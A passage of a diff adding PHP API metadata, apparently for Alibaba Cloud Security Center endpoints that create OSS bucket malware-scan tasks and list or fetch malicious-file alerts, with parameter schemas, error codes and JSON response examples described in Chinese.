+ ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 50\\n },\\n \\"Data\\": [\\n {\\n \\"Id\\": 443496,\\n \\"Enable\\": 1,\\n \\"Name\\": \\"test****\\",\\n \\"ScanDayList\\": [\\n 1\\n ],\\n \\"StartTime\\": \\"00:00:00\\\\n\\",\\n \\"EndTime\\": \\"06:00:00\\",\\n \\"BucketNameList\\": [\\n \\"amssev-oss****\\"\\n ],\\n \\"KeySuffixList\\": [\\n \\".asp\\"\\n ],\\n \\"KeyPrefixList\\": [\\n \\"/root\\"\\n ],\\n \\"LastUpdateTime\\": 1698388233883,\\n \\"BucketCount\\": 10,\\n \\"AllKeyPrefix\\": true,\\n \\"DecompressMaxLayer\\": 1,\\n \\"DecompressMaxFileCount\\": 100,\\n \\"DecryptionList\\": [\\n \\"KMS\\"\\n ],\\n \\"LastModifiedStartTime\\": 1724301769834,\\n \\"RealTimeIncr\\": true\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询OSS文件检测策略配置列表', + ], + 'CreateOssBucketScanTask' => [ + 'summary' => '创建Bucket检测任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '172804', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'BucketNameList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'Bucket名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'hz-yqq-standard****', + ], + 'required' => true, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'ExcludeKeySuffixList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '不检测的文件后缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '不检测的文件后缀。', + 'type' => 'string', + 'required' => false, + 'example' => '.jsp', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'ScanMode', + 'in' => 'query', + 'schema' => [ + 'description' => '检测模式。取值：'."\n" + ."\n" + .'- **1**：全量文件检测。'."\n" + ."\n" + .'- **2**：增量文件检测。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'KeySuffixList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件后缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '限定检测文件的Key必须以指定的后缀结尾。', + 'type' => 'string', + 'required' => false, + 'example' => '.jsp', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'KeyPrefixList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件前缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '限定检测文件的Key必须以指定的KeyPrefix作为前缀，不能以正斜线（/）开头。', + 'type' => 'string', + 'required' => false, + 'example' => '/root', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'AllKeyPrefix', + 'in' => 'query', + 'schema' => [ + 'description' => '是否匹配所有前缀。此参数设置为true时，参数KeyPrefixList不生效。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'DecompressMaxLayer', + 'in' => 'query', + 'schema' => [ + 'description' => '存在多个层级的压缩包嵌套时的最大解压层数，最小取值为1，最大取值为5。超过最大解压层数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'DecompressMaxFileCount', + 'in' => 'query', + 'schema' => [ + 'description' => '最大解压文件数。最小取值为1，最大取值为1000。超过最大解压文件数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '100', + ], + ], + [ + 'name' => 'DecryptionList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '解密类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '解密类型。取值：'."\n" + ."\n" + .'- **OSS**：OSS完全托管。'."\n" + .'- **KMS**：KMS。', + 'type' => 'string', + 'required' => false, + 'example' => 'KMS', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'LastModifiedStartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检测最后一次修改时间在指定时间戳之后的文件，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1724301769834', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BBD75EC2-2F4F-5A7B-AA53-18724DC8****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ApiAuthExhausted', + 'errorMessage' => 'No auth count or auth count has been exhausted.', + ], + [ + 'errorCode' => 'TaskIsProcessing', + 'errorMessage' => 'Task Is Processing.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BBD75EC2-2F4F-5A7B-AA53-18724DC8****\\"\\n}","type":"json"}]', + 'title' => '创建Bucket检测任务', + ], + 'GetObjectScanEvent' => [ + 'summary' => '获取恶意文件告警信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'EventId', + 'in' => 'query', + 'schema' => [ + 'description' => '事件ID。', + 'type' => 'string', + 'required' => false, + 'example' => '81****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'FileName' => [ + 'description' => '文件名称。', + 'type' => 'string', + 'example' => 'sca_2023****', + ], + 'Md5' => [ + 'description' => '文件MD5值。', + 'type' => 'string', + 'example' => '0552c44e243abdea1729d4507bce****', + ], + 'EventName' => [ + 'description' => '告警项名称。', + 'type' => 'string', + 'example' => 'WebShell', + ], + 'Details' => [ + 'description' => '详情。', + 'type' => 'array', + 'items' => [ + 'description' => '详情。', + 'type' => 'object', + 'properties' => [ + 'InfoType' => [ + 'description' => '详情项类型。', + 'type' => 'string', + 'example' => 'html', + ], + 'Name' => [ + 'description' => '详情项名称。', + 'type' => 'string', + 'example' => 'DownloadUrl。', + ], + 'NameDisplay' => [ + 'description' => '详情项显示名称。', + 'type' => 'string', + 'example' => 'DownloadUrl。', + ], + 'Type' => [ + 'description' => '详情项类型。', + 'type' => 'string', + 'example' => 'html', + ], + 'Value' => [ + 'description' => '详情项的值。', + 'type' => 'string', + 'example' => 'http://****', + ], + 'ValueDisplay' => [ + 'description' => '详情项显示的值。', + 'type' => 'string', + 'example' => 'http://****', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"Data\\": {\\n \\"FileName\\": \\"sca_2023****\\",\\n \\"Md5\\": \\"0552c44e243abdea1729d4507bce****\\",\\n \\"EventName\\": \\"WebShell\\",\\n \\"Details\\": [\\n {\\n \\"InfoType\\": \\"html\\",\\n \\"Name\\": \\"DownloadUrl。\\",\\n \\"NameDisplay\\": \\"DownloadUrl。\\",\\n \\"Type\\": \\"html\\",\\n \\"Value\\": \\"http://****\\",\\n \\"ValueDisplay\\": \\"http://****\\"\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '获取恶意文件告警信息', + ], + 'ListObjectScanEvent' => [ + 'summary' => '查询恶意文件告警列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '172800', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'low', + ], + ], + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'description' => '告警名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'WebShell', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源。取值：'."\n" + .'- **API**：API检测'."\n" + .'- **OSS**：OSS检测', + 'type' => 'string', + 'required' => false, + 'example' => 'OSS', + ], + ], + [ + 'name' => 'OssKey', + 'in' => 'query', + 'schema' => [ + 'description' => '文件在OSS Bucket中的存储Key。', + 'type' => 'string', + 'required' => false, + 'example' => '1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****', + ], + ], + [ + 'name' => 'BucketName', + 'in' => 'query', + 'schema' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ltrbuck****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Md5', + 'in' => 'query', + 'schema' => [ + 'description' => '文件MD5值。', + 'type' => 'string', + 'required' => false, + 'example' => '0552c44e243abdea1729d4507bce****', + ], + ], + [ + 'name' => 'TimeStart', + 'in' => 'query', + 'schema' => [ + 'description' => '异常事件发生时间的开始时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1683603086000', + ], + ], + [ + 'name' => 'TimeEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '异常事件发生时间的结束时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1683862286000', + ], + ], + [ + 'name' => 'ParentEventId', + 'in' => 'query', + 'schema' => [ + 'description' => '文件为压缩包子文件时，**ParentEventId**表示所在压缩包本身告警的事件ID。'."\n" + ."\n" + .'获取并查询压缩包子文件告警事件流程：'."\n" + ."\n" + .'1. 先调用本接口查看返回参数**HasSubEvent**，如果值为**true**，对应**EventId**即是压缩包本身告警的事件ID。'."\n" + .'2. 再次调用本接口将**EventId**值传入**ParentEventId**，即可查看该压缩包子文件的告警事件。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '事件状态。取值如下：'."\n" + ."\n" + .'- 0： 未处理 '."\n" + .'- 1： 我已手工处理'."\n" + .'- 2： 已加白'."\n" + .'- 3： 已忽略'."\n" + .'- 4： 禁止访问', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'EventId', + 'in' => 'query', + 'schema' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '8925****', + ], + ], + [ + 'name' => 'BatchType', + 'in' => 'query', + 'schema' => [ + 'description' => '批量操作类型。取值：'."\n" + ."\n" + .'- **sha256**：相同文件内容'."\n" + ."\n" + .'- **eventName**：相同告警类型', + 'type' => 'string', + 'required' => false, + 'example' => 'sha256', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '详情数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '253', + ], + ], + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'array', + 'items' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'OssKey' => [ + 'description' => '文件在OSS Bucket中的存储Key。', + 'type' => 'string', + 'example' => '1/2023/07/21/10/18/16899059356518bcf6c64-a04e-492d-a421-4ae8b888****', + ], + 'Md5' => [ + 'description' => '文件MD5值。', + 'type' => 'string', + 'example' => '5b394b54ca632fe51c4ab4a6dbaf****', + ], + 'BucketName' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'example' => 'hz-new01****', + ], + 'RiskLevel' => [ + 'description' => '扫描出的告警的风险等级。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'medium', + ], + 'Source' => [ + 'description' => '数据来源。取值：'."\n" + .'- **API**：API检测'."\n" + .'- **OSS**：OSS检测', + 'type' => 'string', + 'example' => 'OSS', + ], + 'FilePath' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'example' => '/usr/local****', + ], + 'EventName' => [ + 'description' => '告警项名称。', + 'type' => 'string', + 'example' => 'WebShell', + ], + 'EventId' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '911273', + ], + 'FirstTime' => [ + 'description' => '首次发生时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1694576692000', + ], + 'LastTime' => [ + 'description' => '最新发现时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1694576692000', + ], + 'Sha256' => [ + 'description' => '文件Sha256值。', + 'type' => 'string', + 'example' => '3a6fed5fc11392b3ee9f81caf017b48640d7458766a8eb0382899a605b41****', + ], + 'Sha1' => [ + 'description' => '文件Sha1值。', + 'type' => 'string', + 'example' => '3c01bdbb26f358bab27f267924aa2c9a03fc****', + ], + 'DisplaySandboxResult' => [ + 'description' => '支持云沙箱检出。取值包括：'."\n" + ."\n" + .'- **true**：支持。'."\n" + .'- **false**：不支持。', + 'type' => 'string', + 'example' => 'true', + ], + 'Details' => [ + 'description' => '检查项的详细信息。', + 'type' => 'array', + 'items' => [ + 'description' => '详情。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '详情项名称。', + 'type' => 'string', + 'example' => 'DownloadUrl', + ], + 'NameDisplay' => [ + 'description' => '告警事件显示名称。', + 'type' => 'string', + 'example' => 'DownloadUrl', + ], + 'Type' => [ + 'description' => '详情信息类型。', + 'type' => 'string', + 'example' => 'html', + ], + 'Value' => [ + 'description' => '详情项的值。', + 'type' => 'string', + 'example' => 'http://gcx.cn-hangzhou.aliyuncs.com/****', + ], + 'ValueDisplay' => [ + 'description' => '详情项展示的值。', + 'type' => 'string', + 'example' => 'http://gcx.cn-hangzhou.aliyuncs.com/****', + ], + ], + ], + ], + 'HasSubEvent' => [ + 'description' => '是否存在压缩包子文件告警，取值为：'."\n" + .'- **true**：是。您可查看对应**EventId**值，再次调用本接口，将**EventId**值传入**ParentEventId**，即可查看对应压缩包子文件的告警事件。'."\n" + .'- **false**：否。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Status' => [ + 'description' => '事件状态。取值如下：'."\n" + ."\n" + .'- 0： 未处理 '."\n" + .'- 1： 我已手工处理'."\n" + .'- 2： 已加白'."\n" + .'- 3： 已忽略'."\n" + .'- 4： 禁止访问', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ErrorMsg' => [ + 'description' => '错误信息。', + 'type' => 'string', + 'example' => 'connect timed out', + ], + 'OperateResult' => [ + 'description' => '告警处理结果。', + 'type' => 'string', + 'example' => 'fail', + ], + 'MatchedWhiteListRuleI18nStr' => [ + 'description' => '加白规则命中信息。', + 'type' => 'string', + 'example' => '  md5   contains   23  ', + ], + 'Remark' => [ + 'description' => '备注。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 253\\n },\\n \\"Data\\": [\\n {\\n \\"OssKey\\": \\"1/2023/07/21/10/18/16899059356518bcf6c64-a04e-492d-a421-4ae8b888****\\",\\n \\"Md5\\": \\"5b394b54ca632fe51c4ab4a6dbaf****\\",\\n \\"BucketName\\": \\"hz-new01****\\",\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Source\\": \\"OSS\\",\\n \\"FilePath\\": \\"/usr/local****\\",\\n \\"EventName\\": \\"WebShell\\",\\n \\"EventId\\": 911273,\\n \\"FirstTime\\": 1694576692000,\\n \\"LastTime\\": 1694576692000,\\n \\"Sha256\\": \\"3a6fed5fc11392b3ee9f81caf017b48640d7458766a8eb0382899a605b41****\\",\\n \\"Sha1\\": \\"3c01bdbb26f358bab27f267924aa2c9a03fc****\\",\\n \\"DisplaySandboxResult\\": \\"true\\",\\n \\"Details\\": [\\n {\\n \\"Name\\": \\"DownloadUrl\\",\\n \\"NameDisplay\\": \\"DownloadUrl\\",\\n \\"Type\\": \\"html\\",\\n \\"Value\\": \\"http://gcx.cn-hangzhou.aliyuncs.com/****\\",\\n \\"ValueDisplay\\": \\"http://gcx.cn-hangzhou.aliyuncs.com/****\\"\\n }\\n ],\\n \\"HasSubEvent\\": true,\\n \\"Status\\": 0,\\n \\"ErrorMsg\\": \\"connect timed out\\",\\n \\"OperateResult\\": \\"fail\\",\\n \\"MatchedWhiteListRuleI18nStr\\": \\"  md5   contains   23  \\",\\n \\"Remark\\": \\"test\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询恶意文件告警列表', + ], + 'OperateBucketScanTask' => [ + 'summary' => '操作Bucket检测任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'BucketName', + 'in' => 'query', + 'schema' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'iboxpublic****', + ], + ], + [ + 'name' => 'OperateCode', + 'in' => 'query', + 'schema' => [ + 'description' => '对Bucket的操作。取值：'."\n" + ."\n" + .'- **1**：取消检测。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\"\\n}","type":"json"}]', + 'title' => '操作Bucket检测任务', + ], + 'GetOssBucketScanStatistic' => [ + 'summary' => '获取OSS检测统计值。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '172778', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'BucketNameList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'Bucket名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'hz-new02****', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源。取值：'."\n" + .'- **API**：API检测'."\n" + .'- **OSS**：OSS检测', + 'type' => 'string', + 'required' => false, + 'example' => 'API', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FAC50208-E56B-5CC8-8738-2B219D1A****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'RiskBucket' => [ + 'description' => '有风险文件的Bucket数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'HighRisk' => [ + 'description' => '高风险文件数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'MediumRisk' => [ + 'description' => '中风险文件数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'LowRisk' => [ + 'description' => '低风险文件数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'NoScanBucket' => [ + 'description' => '未检测的Bucket数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalBucket' => [ + 'description' => 'Bucket总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ScanObject' => [ + 'description' => '检测过的文件数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'RemainAuth' => [ + 'description' => '剩余授权数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ExpireTime' => [ + 'description' => '授权数到期时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1714442403000', + ], + 'TotalObject' => [ + 'description' => 'Bucket内总文件数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'PrePayAuthCount' => [ + 'description' => '预付费授权次数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10000', + ], + 'PrePayInvokeCount' => [ + 'description' => '预付费使用次数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + 'PostPayInvokeCount' => [ + 'description' => '后付费使用次数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1000', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FAC50208-E56B-5CC8-8738-2B219D1A****\\",\\n \\"Data\\": {\\n \\"RiskBucket\\": 1,\\n \\"HighRisk\\": 0,\\n \\"MediumRisk\\": 0,\\n \\"LowRisk\\": 0,\\n \\"NoScanBucket\\": 1,\\n \\"TotalBucket\\": 1,\\n \\"ScanObject\\": 1,\\n \\"RemainAuth\\": 1,\\n \\"ExpireTime\\": 1714442403000,\\n \\"TotalObject\\": 1,\\n \\"PrePayAuthCount\\": 10000,\\n \\"PrePayInvokeCount\\": 100,\\n \\"PostPayInvokeCount\\": 1000\\n }\\n}","type":"json"}]', + 'title' => '获取OSS检测统计值', + ], + 'ListOssBucketScanInfo' => [ + 'summary' => '查询Bucket的风险信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'BucketName', + 'in' => 'query', + 'schema' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'iboxpublic****', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '检测状态。取值：'."\n" + ."\n" + .'- **1**：未检测过。'."\n" + .'- **2**：全量检测中。'."\n" + .'- **3**：增量检测中。'."\n" + .'- **4**：检测过。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'HasRisk', + 'in' => 'query', + 'schema' => [ + 'description' => '是否检测出风险文件。取值：'."\n" + ."\n" + .'- **0**：未检测出风险。'."\n" + .'- **1**：有风险文件。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'FuzzBucketName', + 'in' => 'query', + 'schema' => [ + 'description' => '模糊匹配的Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '6C578F36-92D2-552C-8AA0-86EB1AC2****', + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '165', + ], + ], + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'array', + 'items' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'BucketName' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'example' => 'hz-new02****', + ], + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1698388233883', + ], + 'LastScanEndTime' => [ + 'description' => '最新一次扫描的结束时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1698388233883', + ], + 'Scanned' => [ + 'description' => '是否已检测过。取值：'."\n" + ."\n" + .'- **true**：已检测'."\n" + .'- **false**：未检测', + 'type' => 'boolean', + 'example' => 'false', + ], + 'ScanObject' => [ + 'description' => 